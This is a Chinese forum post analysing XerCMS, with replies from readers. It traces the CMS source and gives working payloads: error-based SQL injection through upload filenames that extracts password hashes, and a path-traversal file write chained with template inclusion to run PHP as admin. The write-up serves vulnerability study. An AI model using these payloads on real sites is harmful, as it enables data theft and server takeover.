请选择 进入手机版 | 继续访问电脑版
查看: 914|回复: 6

[文章] xercms前台注入和后台getshell

[复制链接]
  • TA的每日心情
    擦汗
    2017-2-6 19:07
  • 签到天数: 28 天

    [LV.4]偶尔看看III

    发表于 2016-12-6 20:57:23 | 显示全部楼层 |阅读模式
    本帖最后由 ByHuaiNian 于 2016-12-6 22:07 编辑

    0x00.序言
    前台insert类型注入,是因为上传文件时对文件名没有有效过滤就进行insert操作而造成的。后台getshell虽然有些鸡助,但是感觉这个思路还是有些意思的,就跟大家分享一下QAQ~


    0x01.路由分析

    我们还是先来分析一下cms的路由,
    1.png

    Assets文件夹主要是放着一些flash,js,css,文本编辑器等。install放着安装cms的功能文件。template是模板文件夹。upfiles是上传文件夹。xercms则是整个cms的核心文件夹。xercms文件夹中modules文件夹主要存放前台文件,services主要存放后台文件
    根目录下index.php 为入口文件,我们来看下入口文件,

    [PHP] 纯文本查看 复制代码
    ini_set( 'display_errors', 'Off' );
    error_reporting(0);
    define( 'XERCMS_DEBUG', true );
    require ('XerCMS/Kernel.php' );
    X:: $G[ 'urlpath' ] = substr($_SERVER['SCRIPT_NAME' ],0,-9);
    X::Init ();
    X::load ();


    可以看到首先包含了xercms文件夹下的kernel.php文件。然后调用该类的2个重要的静态方法,init()和load()
    init()方法主要是初始化了一些配置,我们主要看的是load()方法,它是控制cms路由的核心

    [PHP] 纯文本查看 复制代码
    public static function load($tpl = '') {
                $G = &X:: $G ;
                X:: $G ['enter' ] = g( 'e');
                X:: $G ['enter' ] = empty(X:: $G ['enter' ]) ? 'index' : X::$G ['enter' ];
                self ::check(X:: $G ['enter' ]);
                if (isset ($_GET[ 'm'])) {
                     X:: $G ['module' ] = g( 'm');
                     self ::check(X:: $G ['module' ]);
                     if (!X::$G ['CYK' ] && !in_array(X::$G ['module' ], self:: $CONFIG[ 'modules' ])) {
                        showtips( 'module_noexists' ,X::$G ['urlpath' ]);
                     }
               define( 'DIR' ,INC.'Modules/' .X:: $G[ 'module' ].'/' );
               X:: $G ['action' ]  = (string)g( 'a', 'XerCMS');
               self ::check(X:: $G ['a' ]);
               hooks(1,1);
               include (DIR.X:: $G[ 'enter']. '.php' );
               $XM = 'XerCMS_MODULE_' .X::$G ['enter' ];
               if (class_exists($XM, false)) {
                    $Xer = new $XM();//print_r($Xer);exit;
                    hooks(2,1);
                    if (method_exists($Xer,X:: $G[ 'action']))
                         $Xer->$G[ 'action']();
               }
                     hooks(5,1);
                } else if (isset ($_GET[ 's'])) {
                     X:: $G ['service' ] = (string)g( 's');
                     self ::check(X:: $G ['service' ]);
                     X:: $G ['action' ]  = (string)g( 'a', 'xercms');
                     self ::check(X:: $G ['a' ]); //print_r(X::$G);exit;
                     define( 'DIR' ,INC.'Services/' .X:: $G[ 'service' ].'/' );
                     X:: $G ['module' ] = &X:: $G[ 'service' ];
                     hooks(1,3);
                     self ::import(X:: $G ['enter' ].'.php' ,DIR);
                     $SN = 'Service_' .X::$G ['service' ].'_' .X:: $G[ 'enter' ];
                     if (class_exists($SN, false)) {
                        $Xer = new $SN();//print_r($Xer);exit;
                        hooks(2,3);
                        if (method_exists($Xer,X:: $G[ 'action']))
                              $Xer->$G[ 'action']();
                   }
                   hooks(5,3);
                } else {
                   X:: $G ['module' ] = 'home';
                   X:: $G ['enter' ] = '';
                   hooks(1,5);
                   include (tpl('common/xercms.htm' ));
                   hooks(5,5);
                }
              exit ;
         }
    }



    为了方便大家看我简化了一下代码,去掉了一些不常用的判断。我们来根据url分析一下这个方法

    http://localhost/zend/xercms/?m=archives&a=column&column=2
    根据代码可以看出这里面有3个重要的变量 m,s,a,e。
    m,s代表模块名,a代表调用的方法(默认为xercms),e代表调用的文件名(默认为index)。
    根据流程首先会先接受e的值(文件名),再判断m和s是否存在。如果都不存在则默认调用首页的模板文件。如果存在m则代表调用的是前台的某个模块,s存在则代表调用后台。注意这4个变量的值都会调用check方法进行判断,只能为字母和数组还有下划线,否则页面跳转并exit程序结束。

    前台和后台的处理流程大致相同,只不过是路径有所差距。我们这里就拿前台的流程来说,先接收m的值(也就是模块名),文件夹路径则为/modules/模块名/,接收a的值(也就是方法名),根据e的值和先前的路径生成包含文件的路径和文件名并包含,确定该文件中类名,前台类名都为XerCMS_MODULE_文件名,然后判断类是否存在,声明该类的对象,判断该类中方法是否存在,存在则调用。

    我们可以清楚的看到通过这4个变量就控制了整个cms的路由。根据改变4个变量的值就可以调用固定目录下的某个文件的方法,前台的固定目录为modules下,modules下有4个以模块名命名的文件夹,后台固定目录为services,也有4个以模块名命名的文件夹。


    0x02.前台insert注入

    这个注入发生点有2处,都是上传图片时insert文件名而没有对文件名进行有效过滤造成的注入。

    这两处注入都需要先注册个账号并登陆,

    第一处注入在会员中心->个人资料->上传头像处,url为http://localhost/zend/xercms/index.php?m=member&a=profile,上传并抓包

    2.png

    调用的是xercms/modules/member/index.php 中的upfiles方法,其中通过c('upload')->files(); 完成了上传文件的操作。我们进跟进一下,调用是xercms/library/XerCMS_upload.php文件中的files方法,files方法又调用了file方法

    [PHP] 纯文本查看 复制代码
    function file($name) {
            if (isset ($_FILES[$name][ 'tmp_name']) && !empty ($_FILES[$name]['tmp_name' ])) {
                      $ext = $this->ext($_FILES[$name][ 'name' ]);
            if (in_array(strtolower($ext),$this-> forbid) || preg_match('/([^a-z0-9])/i' ,$ext,$match)) {
                      $this-> result [$name]['error' ] = 'Ext'; return;
            }
            if (!empty ($this-> config[ 'maxsize']) && $_FILES[$name]['size' ] > $this->config ['maxsize' ]) {
                      $this-> result [$name]['error' ] = 'Size'; return;
            }
            $rid = $this->record($_FILES[$name]);
            $this->dir($this-> config ['path' ],$rid,$ext);
            if (is_uploaded_file($_FILES[$name]['tmp_name' ])) {
                if (move_uploaded_file($_FILES[$name]['tmp_name' ],$this->name($rid)) == false ) {
                      $this->delrid($rid);
                       $this-> result [$name]['error' ] = 'Move'; return;
                } else {
                        //chmod($this->name($rid),0644);
                }
    ....//


    对文件的上传操作我们就不详细说了。关键看第10行代码,$rid = $this->record($_FILES[$name]); 调用了record方法,并将$_FILES数组传了进去。继续跟踪一下

    [PHP] 纯文本查看 复制代码
    function record($upfile) {
          if (X::$G ['uid' ]) {
                   DB::add( 'xercms_member_count', array ('upload' =>$upfile[ 'size']), array ('uid' =>X:: $G[ 'uid' ]));
          }
          DB:: insert( 'xercms_member_upfiles',
                array ('uid' =>X:: $G[ 'uid' ],
                    'size' =>$upfile['size' ],
                    'name' =>$upfile['name' ],
                    'time' =>X:: $G[ 'time'],
                    'ip' =>X:: $G[ 'ip'],
                   'type' =>$this->cid ));
          return DB::lastid();
    }


    可以看到调用了insert方法,这里对$upfile['name' ] 文件名并没有进行任何过滤,该方法会返回insert成功后的id值,注意$_FILES[$name]['name']并不是最终上传后的文件名,而这个id值则是最终上传的文件名。
    我们跟进insert方法来看一下,在xercms/library/XerCMS_db.php文件中。

    [PHP] 纯文本查看 复制代码
    static function insert($table,$fields) {
         if (empty ($fields)) {
              return ;
         }
         foreach ($fields as $k=>$v) {
              $content[] = '`' .DB::filter($k, 'f' ).'` = \''.DB:: filter($v).'\'' ;
         }
         self ::query( 'INSERT INTO ' .$table.' SET '.implode( ',',$content), self ::$connect );
         return self ::lastid();
    }


    第6行代码可以看到在insert方法中进行了过滤。然后调用了query方法。跟进filter方法来看一下过滤规则

    [PHP] 纯文本查看 复制代码
    static function filter($str,$t = '') {
                $str = (string)$str;
                 switch ($t) {
                       case 'f':
                             return preg_replace('/([^a-z0-9_])/i' ,'' ,$str);
                       break ;
                       default :
                             return trim($str,'\\' );
                       break ;
                }
    }


    可以看到针对key 将不是字母和数字还有下划线的其他字符替换成了'',而对value只是过滤了\,所以是可以造成注入的,接下来跟进query方法

    [PHP] 纯文本查看 复制代码
    static function query($sql,$check = true ) {
          self:: $connect || DB::connect();
          $res = mysql_query($sql, self:: $connect) ;
          if(!$res) {
                self ::$error = mysql_error() ;
                file_put_contents(INC.'Logs/Database/' .date( 'Y-m-d',time()). '.php' ,'<?php exit(\'Access Denied\'); ?>'. "\r\n". self ::$error ."\r\n" .$sql. "\r\n\r\n",FILE_APPEND);
                if (!self :: $debug) {
                       self ::error( mysql_errno(), self:: $error);
                }
          }
          return $res;
    }


    可以看到如果发生错误,则会调用第8行代码的error方法,而error方法中又输出出了异常信息,所以我们可以用显错注入来获取数据。

    那么payload为:
    [HTML] 纯文本查看 复制代码
    tnt' or updatexml(1,concat(0x7e,(version())),0) or '.jpg


    3.png

    最终payload:
    [HTML] 纯文本查看 复制代码
    tnt' or updatexml(1,concat(0x7e,(select substr(concat(pass),1,31) from xercms_member limit 0,1)),0) or '.jpg


    4.png

    注意这里需要用substr来截取字符

    第二处注入发生在论坛服务->发帖或者回复时,调用了ueditor插件,但是都对源代码进行了补充,在上传图片后都对原先的图片名进行了insert操作,对文件名没有进行有效的过滤,然后调用的是同一个insert方法。他们的原理是一样的,这里就不继续说了。

    5.png



    0x03.后台getshell
    首先我们来看xercms/services/admin/forms.php文件的updateTemplate方法,url访问为:http://localhost/zend/xercms/?s=admin&e=forms&a=updateTemplate

    [PHP] 纯文本查看 复制代码
    function updateTemplate() {
              $sname = g( 'sname' );$data = stripslashes(p('content' ));
              file_put_contents(INC.'Data/forms/template/' .$sname. '.htm',$data);
              $this->tips( 'finish' ,dreferer());
    }


    先接收get参数sname,然后接收post参数content,而content只是调用stripslashes()方法去掉了反斜线。
    然后调用file_put_contents来写入文件,$sname和$data都是可控的。但是文件后缀却是.htm的。这样我们就不能直接写入php文件了。

    我们先写入htm文件。
    url为:http://localhost/zend/xercms/?s=admin&e=forms&a=updateTemplate&sname=../../../../1
    post参数为:content=<?php phpinfo()?>
    这样就在根目录下写入了1.htm文件
    6.png
    7.png

    这时候我们要找找有没有地方可以利用我们写入的htm文件。
    来看xercms/services/admin/member.php文件的editmember方法
    [PHP] 纯文本查看 复制代码
    function editmember() {
                $id = int1(g( 'id'));
                $model = g( 'model' ,'personal' );
                $member = memberdata($id);
                $member = array_merge($member,i('m.member' )->getProperty($id,$model));
                include_once ($this->tpl('header.htm' ));
                include_once ($this->tpl('../../../Data/member/model/template/' .$model. '.htm'));
    }


    可以看到这里接收的get参数model没有进行过滤,而且包含文件的后缀正好是.htm,我们就可以控制$model的值来调整路径和文件名。这时候将文件路径传入tpl方法中,我们跟踪一下。
    在xercms/library/XerCMS_admin.php中的tpl方法

    [PHP] 纯文本查看 复制代码
    function tpl($path)
         {
              $CacheName = md5($path);
              if (file_exists(INC.'Caches/template/' .$CacheName. '.php') && 1 == 2) {
                   return INC.'Caches/template/' .$CacheName. '.php';
              } else {
                   if (X::$compiler == NULL) {
                        X:: import( 'compiler');
                        X:: $compiler = new compiler();
                   }
                   X::$compiler ->Set('XerCMS/Services/' .$this-> Path. '/template/',$path);
                   X:: $compiler ->parse();
                   $tpl = X:: $compiler ->file();
                   return $tpl;
              }
         }


    先将$path md5加密并赋值给$CacheName 。然后判断xercms/caches/template/下有没有$CacheName这个文件,有就直接返回文件路径,没有就进行下面的操作,
    我们主要来看11行代码的set方法。
    在xercms/library/XerCMS_compiler.php中。

    [PHP] 纯文本查看 复制代码
    public function Set($dir,$file,$cacheId = '') {
               $this-> cacheId =  empty($cacheId) ? md5($dir.$file) : $cacheId;
               $this-> tplDir = $dir;
                $this-> currDir = dirname($dir.$file).'/' ;
                $this-> html = $this->tpl($file);
          }
    
           public function tpl($file) {
               if ($file == NULL)
                     return '';
               if (strpos($file,'/' ) !== false) {
                     $file = $this-> tplDir .$file;
                } else $file = $this->currDir .$file;
              $file = XERCMS.$file;
               if (is_file($file)) {
                     return file_get_contents($file);
                } else throw new TpError($file.' is not exist!' );
          }


    在set方法中调用了tpl方法,可以看到将文件的内容用file_get_contents读了出来并赋值给了$this->html。

    然后再看XerCMS_admin.php中tpl方法的第13行,$tpl = X:: $compiler ->file(); 调用了file方法在xercms/caches/template/生成了文件名为md5加密后的php文件,并将$this->html的值写入了进去。最后返回该文件的路径。

    最后在editmember方法中在将该文件包含,可以看到包含的并不是我们写入的.htm文件,而是会在xercms/caches/template/下生成一个php文件,根据我们传入的文件路径找到我们的htm文件,将内容读出并写入到生成的php文件中,最后返回生成的php文件的路径,再将其包含。

    最后我们来看下这个文件的内容。xercms/caches/template/6142a0d2f3b02d780b49bae380e1109d.php

    8.png

    这里有个关键的地方就是先判断常量XERCMS是否存在,这里加了!号,所以false为满足条件,true不满足条件,而这个常量是存在的为true,不满足条件,&&后面的exit就不会执行了。然后会执行后面的phpinfo(),如果满足条件则会继续执行&&后面的exit,这样就不能执行我们写入的php代码了。

    url:http://localhost/zend/xercms/?s=admin&a=editmember&e=member&id=1&model=../../../../../1

    9.png

    因为要过后台的登录验证,有exit。不能直接拿菜刀连,我们可以在根目录下写入一个php文件就可以直接连了。

    10.png

    这样执行这些代码就能再根目录下写入一个2.php的文件,INC为cms自己定义的路径常量。


    11.png
    12.jpg

    评分

    参与人数 1i币 +3 收起 理由
    邮政 + 3 支持原创

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    开心
    2017-3-20 21:25
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2016-12-7 09:44:11 | 显示全部楼层
    这个口以啊
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2017-1-3 10:42
  • 签到天数: 22 天

    [LV.4]偶尔看看III

    发表于 2016-12-7 09:45:24 | 显示全部楼层
    支持大牛这么详细的讲解。支持
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-10-1 09:06
  • 签到天数: 380 天

    [LV.9]以坛为家II

    发表于 2016-12-7 11:49:08 | 显示全部楼层
    学习走一波,就是要看懂这篇文章还要好久的时间!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2018-12-29 11:38
  • 签到天数: 699 天

    [LV.9]以坛为家II

    发表于 2016-12-7 17:08:35 | 显示全部楼层
    这篇文章的含金量,是今天我看到站内网站中最高的
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2017-8-22 16:10
  • 签到天数: 93 天

    [LV.6]常住居民II

    发表于 2016-12-10 18:15:25 | 显示全部楼层
    很不错的分析
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2019-1-6 14:31
  • 签到天数: 305 天

    [LV.8]以坛为家I

    发表于 2016-12-12 21:15:29 | 显示全部楼层
    好牛的实力
    回复 支持 反对

    使用道具 举报

    高级模式
    B Color Image Link Quote Code Smilies |上传

    本版积分规则

    快速回复 返回顶部 返回列表